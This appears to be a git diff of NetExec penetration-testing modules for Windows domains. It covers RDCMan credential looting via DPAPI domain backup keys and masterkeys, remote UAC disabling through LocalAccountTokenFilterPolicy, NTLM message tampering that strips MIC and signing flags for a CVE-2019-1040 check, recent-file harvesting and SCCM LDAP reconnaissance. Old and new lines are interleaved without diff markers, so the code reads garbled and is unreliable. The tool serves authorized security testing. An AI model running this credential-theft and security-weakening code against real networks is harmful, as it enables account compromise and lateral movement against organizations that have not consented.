reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except rrp.DCERPCSessionError as e:
self.context.log.fail(f"Error loading user {user_object} into registry: {e}")
self.context.log.debug(traceback.format_exc())
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
@@ -96,7 +92,7 @@ class NXCModule:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except rrp.DCERPCSessionError as e:
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+88 -21
View File
@@ -1,8 +1,10 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
@@ -13,34 +15,99 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
""" """
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
target = Target.create(
domain=connection.domain,
domain=domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
use_kcache=use_kcache,
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -55,17 +122,17 @@ class NXCModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
-39
View File
@@ -1,39 +0,0 @@
import pylnk3
from io import BytesIO
class NXCModule:
# Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent
# Module by @Defte_
name = "recent_files"
description = "Extracts recently modified files"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
"""No options"""
def on_admin_login(self, context, connection):
lnks = []
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
context.log.highlight(f"C:\\{directory.get_longname()}")
recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"):
file_path = f"{recent_files_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive and not file.is_directory():
file_path = f"{recent_files_dir}{file.get_longname()}"
try:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
lnk = pylnk3.parse(buf).path.strip()
if lnk and lnk not in lnks:
context.log.highlight(f"\t{lnk}")
lnks.append(lnk)
except Exception as e:
# Sometimes PyLnk3 can't parse the lnk file...
context.log.debug(f"Couldn't open {file_path} because of {e}")
-65
View File
@@ -1,65 +0,0 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @Defte_"""
name = "remote-uac"
description = "Enable or disable remote UAC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""
Enables UAC (prevent non RID500 account to get high priv token remotely)
Disables UAC (allow non RID500 account to get high priv token remotely)
ACTION: "enable" or "disable" (required)
"""
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
return
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
return
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
context.log.highlight("Remote UAC disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
context.log.highlight("Remote UAC enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
-192
View File
@@ -1,192 +0,0 @@
# Original Author:
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
#
# Modify by:
# XiaoliChan (@Memory_before)
import calendar
import struct
import time
import random
import string
from impacket import ntlm
from impacket import nt_errors
from impacket.smbconnection import SessionError
class NXCModule:
name = "remove-mic"
description = "Check if host vulnerable to CVE-2019-1040"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
try:
connection.conn.reconnect()
except SessionError as e:
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
else:
context.log.info("Unexpected Exception while authentication")
else:
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
class Modify_Func:
# Slightly modified version of impackets computeResponseNTLMv2
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
responseServerVersion = b"\x01"
hiResponseServerVersion = b"\x01"
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
av_pairs = ntlm.AV_PAIRS(serverName)
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
# get access denied
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
# level
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
serverName = av_pairs.getData()
if len(channel_binding_value) > 0:
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
# Format according to:
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
temp = responseServerVersion # RespType 1 byte
temp += hiResponseServerVersion # HiRespType 1 byte
temp += b"\x00" * 2 # Reserved1 2 bytes
temp += b"\x00" * 4 # Reserved2 4 bytes
temp += aTime # TimeStamp 8 bytes
temp += clientChallenge # ChallengeFromClient 8 bytes
temp += b"\x00" * 4 # Reserved 4 bytes
temp += av_pairs.getData() # AvPairs variable
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
ntChallengeResponse = ntProofStr + temp
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
if user == "" and password == "":
# Special case for anonymous authentication
ntChallengeResponse = ""
lmChallengeResponse = ""
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
password = ""
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode("utf-16le")
except Exception:
user = user.decode(encoding)
try:
password.encode("utf-16le")
except Exception:
password = password.decode(encoding)
try:
domain.encode("utf-16le")
except Exception:
domain = user.decode(encoding)
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1["flags"]
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
serverName = ntlmChallenge["TargetInfoFields"]
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
# Let's check the return flags
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
# drop the mic need to unset these flags
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
lmhash, nthash, use_ntlmv2)
# Special case for anonymous login
if user == "" and password == "" and lmhash == "" and nthash == "":
keyExchangeKey = b"\x00" * 16
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse["flags"] = responseFlags
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
if lmResponse == "":
ntlmChallengeResponse["lanman"] = b"\x00"
else:
ntlmChallengeResponse["lanman"] = lmResponse
ntlmChallengeResponse["ntlm"] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
+7 -37
View File
@@ -1,10 +1,5 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
class NXCModule:
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
name = "runasppl"
description = "Check if the registry value RunAsPPL is set or not"
supported_protocols = ["smb"]
@@ -19,35 +14,10 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
)
key_handle = ans["phkResult"]
_ = data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"RunAsPPL\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
if data is None or data not in [1, 2]:
context.log.highlight("RunAsPPL disabled")
else:
context.log.highlight("RunAsPPL enabled")
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
remote_ops.finish()
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)
-288
View File
@@ -1,288 +0,0 @@
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.parsers.ldap_results import parse_result_attributes
SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_GROUP_OBJECT = 0x10000000
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
class NXCModule:
"""
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
See:
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
https://github.com/garrettfoster13/sccmhunter
Module by @NeffIsBack
"""
name = "sccm"
description = "Find a SCCM infrastructure in the Active Directory"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
self.base_dn = ""
self.recursive_resolve = False
self.user_objects = []
self.computer_objects = []
self.group_objects = {}
def options(self, context, module_options):
"""
BASE_DN The base domain name for the LDAP query
REC_RESOLVE Resolve members of groups recursively. Default: False
"""
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
if module_options and "REC_RESOLVE" in module_options:
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
searchControls=controls,
searchBase=self.base_dn,
)
# There should be only one result
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
self.context.log.success(f"Found SCCM object: {item[0]}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
# SCCM named objects enumeration
self.get_sccm_named_objects(context, connection)
if self.user_objects:
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
for user in self.user_objects:
context.log.highlight(user)
if self.computer_objects:
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
for computer in self.computer_objects:
context.log.highlight(computer)
if self.group_objects:
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
for group in self.group_objects:
context.log.highlight(self.group_objects[group]["sAMAccountName"])
for child in self.group_objects[group]["children"]:
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> User")
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> Group")
def get_sccm_named_objects(self, context, connection):
"""Enumerate users/groups/computers with "SCCM" in their name"""
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
# https://github.com/garrettfoster13/sccmhunter
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldap_connection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
self.user_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.computer_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
self.group_objects[res["distinguishedName"]] = {
"sAMAccountName": res["sAMAccountName"],
"children": [],
}
if self.recursive_resolve:
self.resolve_recursive(res["distinguishedName"])
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
def resolve_recursive(self, dn):
"""Recursively resolve members of a group."""
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldap_connection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
self.group_objects[dn]["children"].append({
"sAMAccountName": res["sAMAccountName"],
"distinguishedName": res["distinguishedName"],
"sAMAccountType": res["sAMAccountType"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error resolving group members: {e}")
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
)
response_parsed = parse_result_attributes(response)
for mp in response_parsed:
ip = self.connection.resolver(mp["dNSHostName"])
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
"cn": mp["cn"],
"dNSHostName": mp["dNSHostName"],
"IPAddress": ip["host"] if ip else "-",
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error searching for management points: {e}")
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
)
response_parsed = parse_result_attributes(response)
for site in response_parsed:
self.sccm_sites[site["mSSMSSiteCode"]] = {
"cn": site["cn"],
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
"ManagementPoints": []
}
except LDAPSearchError as e:
self.context.log.error(f"Error searching for sites: {e}")
def get_site_servers(self, item):
"""Extracts the site servers from the root SCCM object."""
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
self.parse_dacl(principal_security_descriptor["Dacl"])
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
def parse_dacl(self, dacl):
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
self.parse_ace(ace)
def parse_ace(self, ace):
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
ace = ace["Ace"]
sid = ace["Sid"].formatCanonical()
mask = ace["Mask"]
fullcontrol = 0xf01ff
if mask.hasPriv(fullcontrol):
self.resolve_SID(sid)
def resolve_SID(self, sid):
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
)
parsed_result = parse_result_attributes(result)
if not parsed_result:
return None
else:
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
self.sccm_site_servers.append(parsed_result["dNSHostName"])
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
if isinstance(parsed_result["member"], list):
for member in parsed_result["member"]:
member_sid = self.dn_to_sid(member)
if member_sid:
self.resolve_SID(member_sid)
else: # Group has only one member
member_sid = self.dn_to_sid(parsed_result["member"])
if member_sid:
self.resolve_SID(member_sid)
except Exception as e:
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
return ""
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
)
# Extract the SID of the object
